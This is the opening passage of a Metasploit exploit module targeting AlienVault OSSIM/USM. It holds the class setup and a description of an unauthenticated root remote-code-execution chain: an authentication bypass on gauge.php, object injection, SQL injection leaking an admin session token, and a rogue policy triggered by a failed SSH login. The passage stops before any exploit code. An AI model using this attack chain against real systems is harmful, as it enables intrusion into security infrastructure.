## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "AlienVault OSSIM/USM Remote Code Execution", 'Description' => %q{ This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user. By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue action and policy that enables to execute operating system commands by using captured session token. As a final step, SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes operating system command with root user privileges.
